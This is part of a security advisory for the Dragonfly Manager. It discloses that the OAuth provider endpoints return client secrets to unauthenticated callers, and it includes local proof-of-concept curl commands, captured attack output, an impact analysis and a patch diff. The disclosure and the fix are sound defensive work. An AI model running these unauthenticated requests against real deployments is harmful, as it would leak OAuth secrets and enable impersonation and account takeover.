Advisory

GHSA-4q9j-6299-gxmr

Details, part 2 of 2. The advisory

Details

Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:

# Sign up + promote to root via the casbin_rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123","email":"[email protected]"}'
docker exec dragonfly-mysql mysql -uroot -e \
  "USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

curl -s -X POST http://localhost:18080/api/v1/oauth \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
       "client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'

Captured run output of the actual attack (unauthenticated client):

=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401

=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
    {
        "id": 1,
        "name": "github",
        "client_id": "FAKE_CLIENT_ID_abc123",
        "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
        "redirect_url": ""
    }
]

=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
    "id": 1,
    "name": "github",
    "client_id": "FAKE_CLIENT_ID_abc123",
    "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
    "redirect_url": ""
}

Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.

Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.

Impact

  • The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
  • Unauthenticated disclosure of OAuth client_secret for GitHub / Google providers. A client_secret permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL.
  • The same row also exposes client_id and redirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.
  • Tenants who exposed the Manager's REST port (8080/tcp, default in the project's docker-compose.yaml and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).

Suggested fix

Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.

--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
-    oa := apiv1.Group("/oauth")
-    oa.POST("",   jwt.MiddlewareFunc(), rbac, h.CreateOauth)
-    oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
-    oa.PATCH(":id",  jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
-    oa.GET(":id", h.GetOauth)
-    oa.GET("",    h.GetOauths)
+    oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+    oa.POST("",      h.CreateOauth)
+    oa.DELETE(":id", h.DestroyOauth)
+    oa.PATCH(":id",  h.UpdateOauth)
+    oa.GET(":id",    h.GetOauth)
+    oa.GET("",       h.GetOauths)
--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
-    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
+    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`

The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.

Fix PR

https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).

Workarounds

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.

Credit

Reported by tonghuaroot.

Sources & licences